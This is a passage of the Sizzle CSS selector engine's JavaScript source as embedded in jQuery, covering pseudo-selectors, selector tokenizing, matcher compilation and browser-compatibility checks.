{\n\t\t\t\t\t\t\tseed[i] = !(matches[i] = elem);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}) :\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tinput[0] = elem;\n\t\t\t\t\tmatcher( input, null, xml, results );\n\t\t\t\t\t// Don't keep the element (issue #299)\n\t\t\t\t\tinput[0] = null;\n\t\t\t\t\treturn !results.pop();\n\t\t\t\t};\n\t\t}),\n\n\t\t\"has\": markFunction(function( selector ) {\n\t\t\treturn function( elem ) {\n\t\t\t\treturn Sizzle( selector, elem ).length > 0;\n\t\t\t};\n\t\t}),\n\n\t\t\"contains\": markFunction(function( text ) {\n\t\t\ttext = text.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;\n\t\t\t};\n\t\t}),\n\n\t\t// \"Whether an element is represented by a :lang() selector\n\t\t// is based solely on the element's language value\n\t\t// being equal to the identifier C,\n\t\t// or beginning with the identifier C immediately followed by \"-\".\n\t\t// The matching of C against the element's language value is performed case-insensitively.\n\t\t// The identifier C does not have to be a valid language name.\"\n\t\t// http://www.w3.org/TR/selectors/#lang-pseudo\n\t\t\"lang\": markFunction( function( lang ) {\n\t\t\t// lang value must be a valid identifier\n\t\t\tif ( !ridentifier.test(lang || \"\") ) {\n\t\t\t\tSizzle.error( \"unsupported lang: \" + lang );\n\t\t\t}\n\t\t\tlang = lang.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn function( elem ) {\n\t\t\t\tvar elemLang;\n\t\t\t\tdo {\n\t\t\t\t\tif ( (elemLang = documentIsHTML ?\n\t\t\t\t\t\telem.lang :\n\t\t\t\t\t\telem.getAttribute(\"xml:lang\") || elem.getAttribute(\"lang\")) ) {\n\n\t\t\t\t\t\telemLang = elemLang.toLowerCase();\n\t\t\t\t\t\treturn elemLang === lang || elemLang.indexOf( lang + \"-\" ) === 0;\n\t\t\t\t\t}\n\t\t\t\t} while ( (elem = elem.parentNode) && elem.nodeType === 1 );\n\t\t\t\treturn false;\n\t\t\t};\n\t\t}),\n\n\t\t// Miscellaneous\n\t\t\"target\": function( elem ) {\n\t\t\tvar hash = window.location && window.location.hash;\n\t\t\treturn hash && hash.slice( 1 ) === elem.id;\n\t\t},\n\n\t\t\"root\": function( elem ) {\n\t\t\treturn elem === docElem;\n\t\t},\n\n\t\t\"focus\": function( elem ) {\n\t\t\treturn elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);\n\t\t},\n\n\t\t// Boolean properties\n\t\t\"enabled\": createDisabledPseudo( false ),\n\t\t\"disabled\": createDisabledPseudo( true ),\n\n\t\t\"checked\": function( elem ) {\n\t\t\t// In CSS3, :checked should return both checked and selected elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\tvar nodeName = elem.nodeName.toLowerCase();\n\t\t\treturn (nodeName === \"input\" && !!elem.checked) || (nodeName === \"option\" && !!elem.selected);\n\t\t},\n\n\t\t\"selected\": function( elem ) {\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\t// Contents\n\t\t\"empty\": function( elem ) {\n\t\t\t// http://www.w3.org/TR/selectors/#empty-pseudo\n\t\t\t// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),\n\t\t\t// but not by others (comment: 8; processing instruction: 7; etc.)\n\t\t\t// nodeType < 6 works because attributes (2) do not appear as children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tif ( elem.nodeType < 6 ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t},\n\n\t\t\"parent\": function( elem ) {\n\t\t\treturn !Expr.pseudos[\"empty\"]( elem );\n\t\t},\n\n\t\t// Element/input types\n\t\t\"header\": function( elem ) {\n\t\t\treturn rheader.test( elem.nodeName );\n\t\t},\n\n\t\t\"input\": function( elem ) {\n\t\t\treturn rinputs.test( elem.nodeName );\n\t\t},\n\n\t\t\"button\": function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn name === \"input\" && elem.type === \"button\" || name === \"button\";\n\t\t},\n\n\t\t\"text\": function( elem ) {\n\t\t\tvar attr;\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" &&\n\t\t\t\telem.type === \"text\" &&\n\n\t\t\t\t// Support: IE<8\n\t\t\t\t// New HTML5 attribute values (e.g., \"search\") appear with elem.type === \"text\"\n\t\t\t\t( (attr = elem.getAttribute(\"type\")) == null || attr.toLowerCase() === \"text\" );\n\t\t},\n\n\t\t// Position-in-collection\n\t\t\"first\": createPositionalPseudo(function() {\n\t\t\treturn [ 0 ];\n\t\t}),\n\n\t\t\"last\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\treturn [ length - 1 ];\n\t\t}),\n\n\t\t\"eq\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\treturn [ argument < 0 ? argument + length : argument ];\n\t\t}),\n\n\t\t\"even\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"odd\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 1;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"lt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; --i >= 0; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"gt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; ++i < length; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t})\n\t}\n};\n\nExpr.pseudos[\"nth\"] = Expr.pseudos[\"eq\"];\n\n// Add button/input type pseudos\nfor ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {\n\tExpr.pseudos[ i ] = createInputPseudo( i );\n}\nfor ( i in { submit: true, reset: true } ) {\n\tExpr.pseudos[ i ] = createButtonPseudo( i );\n}\n\n// Easy API for creating new setFilters\nfunction setFilters() {}\nsetFilters.prototype = Expr.filters = Expr.pseudos;\nExpr.setFilters = new setFilters();\n\ntokenize = Sizzle.tokenize = function( selector, parseOnly ) {\n\tvar matched, match, tokens, type,\n\t\tsoFar, groups, preFilters,\n\t\tcached = tokenCache[ selector + \" \" ];\n\n\tif ( cached ) {\n\t\treturn parseOnly ? 0 : cached.slice( 0 );\n\t}\n\n\tsoFar = selector;\n\tgroups = [];\n\tpreFilters = Expr.preFilter;\n\n\twhile ( soFar ) {\n\n\t\t// Comma and first run\n\t\tif ( !matched || (match = rcomma.exec( soFar )) ) {\n\t\t\tif ( match ) {\n\t\t\t\t// Don't consume trailing commas as valid\n\t\t\t\tsoFar = soFar.slice( match[0].length ) || soFar;\n\t\t\t}\n\t\t\tgroups.push( (tokens = []) );\n\t\t}\n\n\t\tmatched = false;\n\n\t\t// Combinators\n\t\tif ( (match = rcombinators.exec( soFar )) ) {\n\t\t\tmatched = match.shift();\n\t\t\ttokens.push({\n\t\t\t\tvalue: matched,\n\t\t\t\t// Cast descendant combinators to space\n\t\t\t\ttype: match[0].replace( rtrim, \" \" )\n\t\t\t});\n\t\t\tsoFar = soFar.slice( matched.length );\n\t\t}\n\n\t\t// Filters\n\t\tfor ( type in Expr.filter ) {\n\t\t\tif ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||\n\t\t\t\t(match = preFilters[ type ]( match ))) ) {\n\t\t\t\tmatched = match.shift();\n\t\t\t\ttokens.push({\n\t\t\t\t\tvalue: matched,\n\t\t\t\t\ttype: type,\n\t\t\t\t\tmatches: match\n\t\t\t\t});\n\t\t\t\tsoFar = soFar.slice( matched.length );\n\t\t\t}\n\t\t}\n\n\t\tif ( !matched ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Return the length of the invalid excess\n\t// if we're just parsing\n\t// Otherwise, throw an error or return tokens\n\treturn parseOnly ?\n\t\tsoFar.length :\n\t\tsoFar ?\n\t\t\tSizzle.error( selector ) :\n\t\t\t// Cache the tokens\n\t\t\ttokenCache( selector, groups ).slice( 0 );\n};\n\nfunction toSelector( tokens ) {\n\tvar i = 0,\n\t\tlen = tokens.length,\n\t\tselector = \"\";\n\tfor ( ; i < len; i++ ) {\n\t\tselector += tokens[i].value;\n\t}\n\treturn selector;\n}\n\nfunction addCombinator( matcher, combinator, base ) {\n\tvar dir = combinator.dir,\n\t\tskip = combinator.next,\n\t\tkey = skip || dir,\n\t\tcheckNonElements = base && key === \"parentNode\",\n\t\tdoneName = done++;\n\n\treturn combinator.first ?\n\t\t// Check against closest ancestor/preceding element\n\t\tfunction( elem, context, xml ) {\n\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\treturn matcher( elem, context, xml );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t} :\n\n\t\t// Check against all ancestor/preceding elements\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar oldCache, uniqueCache, outerCache,\n\t\t\t\tnewCache = [ dirruns, doneName ];\n\n\t\t\t// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching\n\t\t\tif ( xml ) {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\tif ( matcher( elem, context, xml ) ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\touterCache = elem[ expando ] || (elem[ expando ] = {});\n\n\t\t\t\t\t\t// Support: IE <9 only\n\t\t\t\t\t\t// Defend against cloned attroperties (jQuery gh-1709)\n\t\t\t\t\t\tuniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {});\n\n\t\t\t\t\t\tif ( skip && skip === elem.nodeName.toLowerCase() ) {\n\t\t\t\t\t\t\telem = elem[ dir ] || elem;\n\t\t\t\t\t\t} else if ( (oldCache = uniqueCache[ key ]) &&\n\t\t\t\t\t\t\toldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {\n\n\t\t\t\t\t\t\t// Assign to newCache so results back-propagate to previous elements\n\t\t\t\t\t\t\treturn (newCache[ 2 ] = oldCache[ 2 ]);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Reuse newcache so results back-propagate to previous elements\n\t\t\t\t\t\t\tuniqueCache[ key ] = newCache;\n\n\t\t\t\t\t\t\t// A match means we're done; a fail means we have to keep checking\n\t\t\t\t\t\t\tif ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {\n\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n}\n\nfunction elementMatcher( matchers ) {\n\treturn matchers.length > 1 ?\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar i = matchers.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( !matchers[i]( elem, context, xml ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} :\n\t\tmatchers[0];\n}\n\nfunction multipleContexts( selector, contexts, results ) {\n\tvar i = 0,\n\t\tlen = contexts.length;\n\tfor ( ; i < len; i++ ) {\n\t\tSizzle( selector, contexts[i], results );\n\t}\n\treturn results;\n}\n\nfunction condense( unmatched, map, filter, context, xml ) {\n\tvar elem,\n\t\tnewUnmatched = [],\n\t\ti = 0,\n\t\tlen = unmatched.length,\n\t\tmapped = map != null;\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (elem = unmatched[i]) ) {\n\t\t\tif ( !filter || filter( elem, context, xml ) ) {\n\t\t\t\tnewUnmatched.push( elem );\n\t\t\t\tif ( mapped ) {\n\t\t\t\t\tmap.push( i );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn newUnmatched;\n}\n\nfunction setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {\n\tif ( postFilter && !postFilter[ expando ] ) {\n\t\tpostFilter = setMatcher( postFilter );\n\t}\n\tif ( postFinder && !postFinder[ expando ] ) {\n\t\tpostFinder = setMatcher( postFinder, postSelector );\n\t}\n\treturn markFunction(function( seed, results, context, xml ) {\n\t\tvar temp, i, elem,\n\t\t\tpreMap = [],\n\t\t\tpostMap = [],\n\t\t\tpreexisting = results.length,\n\n\t\t\t// Get initial elements from seed or context\n\t\t\telems = seed || multipleContexts( selector || \"*\", context.nodeType ? [ context ] : context, [] ),\n\n\t\t\t// Prefilter to get matcher input, preserving a map for seed-results synchronization\n\t\t\tmatcherIn = preFilter && ( seed || !selector ) ?\n\t\t\t\tcondense( elems, preMap, preFilter, context, xml ) :\n\t\t\t\telems,\n\n\t\t\tmatcherOut = matcher ?\n\t\t\t\t// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,\n\t\t\t\tpostFinder || ( seed ? preFilter : preexisting || postFilter ) ?\n\n\t\t\t\t\t// ...intermediate processing is necessary\n\t\t\t\t\t[] :\n\n\t\t\t\t\t// ...otherwise use results directly\n\t\t\t\t\tresults :\n\t\t\t\tmatcherIn;\n\n\t\t// Find primary matches\n\t\tif ( matcher ) {\n\t\t\tmatcher( matcherIn, matcherOut, context, xml );\n\t\t}\n\n\t\t// Apply postFilter\n\t\tif ( postFilter ) {\n\t\t\ttemp = condense( matcherOut, postMap );\n\t\t\tpostFilter( temp, [], context, xml );\n\n\t\t\t// Un-match failing elements by moving them back to matcherIn\n\t\t\ti = temp.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( (elem = temp[i]) ) {\n\t\t\t\t\tmatcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( seed ) {\n\t\t\tif ( postFinder || preFilter ) {\n\t\t\t\tif ( postFinder ) {\n\t\t\t\t\t// Get the final matcherOut by condensing this intermediate into postFinder contexts\n\t\t\t\t\ttemp = [];\n\t\t\t\t\ti = matcherOut.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = matcherOut[i]) ) {\n\t\t\t\t\t\t\t// Restore matcherIn since elem is not yet a final match\n\t\t\t\t\t\t\ttemp.push( (matcherIn[i] = elem) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tpostFinder( null, (matcherOut = []), temp, xml );\n\t\t\t\t}\n\n\t\t\t\t// Move matched elements from seed to results to keep them synchronized\n\t\t\t\ti = matcherOut.length;\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\tif ( (elem = matcherOut[i]) &&\n\t\t\t\t\t\t(temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {\n\n\t\t\t\t\t\tseed[temp] = !(results[temp] = elem);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Add elements to results, through postFinder if defined\n\t\t} else {\n\t\t\tmatcherOut = condense(\n\t\t\t\tmatcherOut === results ?\n\t\t\t\t\tmatcherOut.splice( preexisting, matcherOut.length ) :\n\t\t\t\t\tmatcherOut\n\t\t\t);\n\t\t\tif ( postFinder ) {\n\t\t\t\tpostFinder( null, results, matcherOut, xml );\n\t\t\t} else {\n\t\t\t\tpush.apply( results, matcherOut );\n\t\t\t}\n\t\t}\n\t});\n}\n\nfunction matcherFromTokens( tokens ) {\n\tvar checkContext, matcher, j,\n\t\tlen = tokens.length,\n\t\tleadingRelative = Expr.relative[ tokens[0].type ],\n\t\timplicitRelative = leadingRelative || Expr.relative[\" \"],\n\t\ti = leadingRelative ? 1 : 0,\n\n\t\t// The foundational matcher ensures that elements are reachable from top-level context(s)\n\t\tmatchContext = addCombinator( function( elem ) {\n\t\t\treturn elem === checkContext;\n\t\t}, implicitRelative, true ),\n\t\tmatchAnyContext = addCombinator( function( elem ) {\n\t\t\treturn indexOf( checkContext, elem ) > -1;\n\t\t}, implicitRelative, true ),\n\t\tmatchers = [ function( elem, context, xml ) {\n\t\t\tvar ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (\n\t\t\t\t(checkContext = context).nodeType ?\n\t\t\t\t\tmatchContext( elem, context, xml ) :\n\t\t\t\t\tmatchAnyContext( elem, context, xml ) );\n\t\t\t// Avoid hanging onto element (issue #299)\n\t\t\tcheckContext = null;\n\t\t\treturn ret;\n\t\t} ];\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (matcher = Expr.relative[ tokens[i].type ]) ) {\n\t\t\tmatchers = [ addCombinator(elementMatcher( matchers ), matcher) ];\n\t\t} else {\n\t\t\tmatcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );\n\n\t\t\t// Return special upon seeing a positional matcher\n\t\t\tif ( matcher[ expando ] ) {\n\t\t\t\t// Find the next relative operator (if any) for proper handling\n\t\t\t\tj = ++i;\n\t\t\t\tfor ( ; j < len; j++ ) {\n\t\t\t\t\tif ( Expr.relative[ tokens[j].type ] ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn setMatcher(\n\t\t\t\t\ti > 1 && elementMatcher( matchers ),\n\t\t\t\t\ti > 1 && toSelector(\n\t\t\t\t\t\t// If the preceding token was a descendant combinator, insert an implicit any-element `*`\n\t\t\t\t\t\ttokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" })\n\t\t\t\t\t).replace( rtrim, \"$1\" ),\n\t\t\t\t\tmatcher,\n\t\t\t\t\ti < j && matcherFromTokens( tokens.slice( i, j ) ),\n\t\t\t\t\tj < len && matcherFromTokens( (tokens = tokens.slice( j )) ),\n\t\t\t\t\tj < len && toSelector( tokens )\n\t\t\t\t);\n\t\t\t}\n\t\t\tmatchers.push( matcher );\n\t\t}\n\t}\n\n\treturn elementMatcher( matchers );\n}\n\nfunction matcherFromGroupMatchers( elementMatchers, setMatchers ) {\n\tvar bySet = setMatchers.length > 0,\n\t\tbyElement = elementMatchers.length > 0,\n\t\tsuperMatcher = function( seed, context, xml, results, outermost ) {\n\t\t\tvar elem, j, matcher,\n\t\t\t\tmatchedCount = 0,\n\t\t\t\ti = \"0\",\n\t\t\t\tunmatched = seed && [],\n\t\t\t\tsetMatched = [],\n\t\t\t\tcontextBackup = outermostContext,\n\t\t\t\t// We must always have either seed elements or outermost context\n\t\t\t\telems = seed || byElement && Expr.find[\"TAG\"]( \"*\", outermost ),\n\t\t\t\t// Use integer dirruns iff this is the outermost matcher\n\t\t\t\tdirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),\n\t\t\t\tlen = elems.length;\n\n\t\t\tif ( outermost ) {\n\t\t\t\toutermostContext = context === document || context || outermost;\n\t\t\t}\n\n\t\t\t// Add elements passing elementMatchers directly to results\n\t\t\t// Support: IE<9, Safari\n\t\t\t// Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching elements by id\n\t\t\tfor ( ; i !== len && (elem = elems[i]) != null; i++ ) {\n\t\t\t\tif ( byElement && elem ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\tif ( !context && elem.ownerDocument !== document ) {\n\t\t\t\t\t\tsetDocument( elem );\n\t\t\t\t\t\txml = !documentIsHTML;\n\t\t\t\t\t}\n\t\t\t\t\twhile ( (matcher = elementMatchers[j++]) ) {\n\t\t\t\t\t\tif ( matcher( elem, context || document, xml) ) {\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( outermost ) {\n\t\t\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Track unmatched elements for set filters\n\t\t\t\tif ( bySet ) {\n\t\t\t\t\t// They will have gone through all possible matchers\n\t\t\t\t\tif ( (elem = !matcher && elem) ) {\n\t\t\t\t\t\tmatchedCount--;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Lengthen the array for every element, matched or not\n\t\t\t\t\tif ( seed ) {\n\t\t\t\t\t\tunmatched.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// `i` is now the count of elements visited above, and adding it to `matchedCount`\n\t\t\t// makes the latter nonnegative.\n\t\t\tmatchedCount += i;\n\n\t\t\t// Apply set filters to unmatched elements\n\t\t\t// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`\n\t\t\t// equals `i`), unless we didn't visit _any_ elements in the above loop because we have\n\t\t\t// no element matchers and no seed.\n\t\t\t// Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that\n\t\t\t// case, which will result in a \"00\" `matchedCount` that differs from `i` but is also\n\t\t\t// numerically zero.\n\t\t\tif ( bySet && i !== matchedCount ) {\n\t\t\t\tj = 0;\n\t\t\t\twhile ( (matcher = setMatchers[j++]) ) {\n\t\t\t\t\tmatcher( unmatched, setMatched, context, xml );\n\t\t\t\t}\n\n\t\t\t\tif ( seed ) {\n\t\t\t\t\t// Reintegrate element matches to eliminate the need for sorting\n\t\t\t\t\tif ( matchedCount > 0 ) {\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tif ( !(unmatched[i] || setMatched[i]) ) {\n\t\t\t\t\t\t\t\tsetMatched[i] = pop.call( results );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Discard index placeholder values to get only actual matches\n\t\t\t\t\tsetMatched = condense( setMatched );\n\t\t\t\t}\n\n\t\t\t\t// Add matches to results\n\t\t\t\tpush.apply( results, setMatched );\n\n\t\t\t\t// Seedless set matches succeeding multiple successful matchers stipulate sorting\n\t\t\t\tif ( outermost && !seed && setMatched.length > 0 &&\n\t\t\t\t\t( matchedCount + setMatchers.length ) > 1 ) {\n\n\t\t\t\t\tSizzle.uniqueSort( results );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Override manipulation of globals by nested matchers\n\t\t\tif ( outermost ) {\n\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\toutermostContext = contextBackup;\n\t\t\t}\n\n\t\t\treturn unmatched;\n\t\t};\n\n\treturn bySet ?\n\t\tmarkFunction( superMatcher ) :\n\t\tsuperMatcher;\n}\n\ncompile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {\n\tvar i,\n\t\tsetMatchers = [],\n\t\telementMatchers = [],\n\t\tcached = compilerCache[ selector + \" \" ];\n\n\tif ( !cached ) {\n\t\t// Generate a function of recursive functions that can be used to check each element\n\t\tif ( !match ) {\n\t\t\tmatch = tokenize( selector );\n\t\t}\n\t\ti = match.length;\n\t\twhile ( i-- ) {\n\t\t\tcached = matcherFromTokens( match[i] );\n\t\t\tif ( cached[ expando ] ) {\n\t\t\t\tsetMatchers.push( cached );\n\t\t\t} else {\n\t\t\t\telementMatchers.push( cached );\n\t\t\t}\n\t\t}\n\n\t\t// Cache the compiled function\n\t\tcached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );\n\n\t\t// Save selector and tokenization\n\t\tcached.selector = selector;\n\t}\n\treturn cached;\n};\n\n/**\n * A low-level selection function that works with Sizzle's compiled\n * selector functions\n * @param {String|Function} selector A selector or a pre-compiled\n * selector function built with Sizzle.compile\n * @param {Element} context\n * @param {Array} [results]\n * @param {Array} [seed] A set of elements to match against\n */\nselect = Sizzle.select = function( selector, context, results, seed ) {\n\tvar i, tokens, token, type, find,\n\t\tcompiled = typeof selector === \"function\" && selector,\n\t\tmatch = !seed && tokenize( (selector = compiled.selector || selector) );\n\n\tresults = results || [];\n\n\t// Try to minimize operations if there is only one selector in the list and no seed\n\t// (the latter of which guarantees us context)\n\tif ( match.length === 1 ) {\n\n\t\t// Reduce context if the leading compound selector is an ID\n\t\ttokens = match[0] = match[0].slice( 0 );\n\t\tif ( tokens.length > 2 && (token = tokens[0]).type === \"ID\" &&\n\t\t\t\tcontext.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) {\n\n\t\t\tcontext = ( Expr.find[\"ID\"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];\n\t\t\tif ( !context ) {\n\t\t\t\treturn results;\n\n\t\t\t// Precompiled matchers will still verify ancestry, so step up a level\n\t\t\t} else if ( compiled ) {\n\t\t\t\tcontext = context.parentNode;\n\t\t\t}\n\n\t\t\tselector = selector.slice( tokens.shift().value.length );\n\t\t}\n\n\t\t// Fetch a seed set for right-to-left matching\n\t\ti = matchExpr[\"needsContext\"].test( selector ) ? 0 : tokens.length;\n\t\twhile ( i-- ) {\n\t\t\ttoken = tokens[i];\n\n\t\t\t// Abort if we hit a combinator\n\t\t\tif ( Expr.relative[ (type = token.type) ] ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( (find = Expr.find[ type ]) ) {\n\t\t\t\t// Search, expanding context for leading sibling combinators\n\t\t\t\tif ( (seed = find(\n\t\t\t\t\ttoken.matches[0].replace( runescape, funescape ),\n\t\t\t\t\trsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context\n\t\t\t\t)) ) {\n\n\t\t\t\t\t// If seed is empty or no tokens remain, we can return early\n\t\t\t\t\ttokens.splice( i, 1 );\n\t\t\t\t\tselector = seed.length && toSelector( tokens );\n\t\t\t\t\tif ( !selector ) {\n\t\t\t\t\t\tpush.apply( results, seed );\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Compile and execute a filtering function if one is not provided\n\t// Provide `match` to avoid retokenization if we modified the selector above\n\t( compiled || compile( selector, match ) )(\n\t\tseed,\n\t\tcontext,\n\t\t!documentIsHTML,\n\t\tresults,\n\t\t!context || rsibling.test( selector ) && testContext( context.parentNode ) || context\n\t);\n\treturn results;\n};\n\n// One-time assignments\n\n// Sort stability\nsupport.sortStable = expando.split(\"\").sort( sortOrder ).join(\"\") === expando;\n\n// Support: Chrome 14-35+\n// Always assume duplicates if they aren't passed to the comparison function\nsupport.detectDuplicates = !!hasDuplicate;\n\n// Initialize against the default document\nsetDocument();\n\n// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)\n// Detached nodes confoundingly follow *each other*\nsupport.sortDetached = assert(function( el ) {\n\t// Should return 1, but returns 4 (following)\n\treturn el.compareDocumentPosition( document.createElement(\"fieldset\") ) & 1;\n});\n\n// Support: IE<8\n// Prevent attribute/property \"interpolation\"\n// https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx\nif ( !assert(function( el ) {\n\tel.innerHTML = \"<a href='#'></a>\";\n\treturn el.firstChild.getAttribute(\"href\") === \"#\" ;\n}) ) {\n\taddHandle( \"type|href|height|width\", function( elem, name, isXML ) {\n\t\tif ( !isXML ) {\n\t\t\treturn elem.getAttribute( name, name.toLowerCase() === \"type\" ? 1 : 2 );\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use defaultValue in place of getAttribute(\"value\")\nif ( !support.attributes || !assert(function( el ) {\n\tel.innerHTML = \"<input/>\";\n\tel.firstChild.setAttribute( \"value\", \"\" );\n\treturn el.firstChild.getAttribute( \"value\" ) === \"\";\n}) ) {\n\taddHandle( \"value\", function( elem, name, isXML ) {\n\t\tif ( !isXML && elem.nodeName.toLowerCase() === \"input\" ) {\n\t\t\treturn elem.defaultValue;\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use getAttributeNode to fetch booleans when getAttribute lies\nif ( !assert(function( el ) {\n\treturn el.getAttribute(\"disabled\") == null;\n}) ) {\n\taddHandle( booleans, function( elem, name, isXML ) {\n\t\tvar val;\n\t\tif ( !isXML ) {\n\t\t\treturn elem[ name ] === true ? name.toLowerCase() :\n\t\t\t\t\t(val = elem.getAttributeNode( name )) && val.specified ?\n\t\t\t\t\tval.value :\n\t\t\t\tnull;\n\t\t}\n\t});\n}\n\nreturn Sizzle;\n\n})( window );\n\n\n\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\n\n// Deprecated\njQuery.expr[ \":\" ] = jQuery.expr.pseudos;\njQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;\njQuery.text = Sizzle.getText;\njQuery.isXMLDoc = Sizzle.isXML;\njQuery.contains = Sizzle.contains;\njQuery.escapeSelector = Sizzle.escape;\n\n\n\n\nvar dir = function( elem, dir, until ) {\n\tvar matched = [],\n\t\ttruncate = until !== undefined;\n\n\twhile ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {\n\t\tif ( elem.nodeType === 1 ) 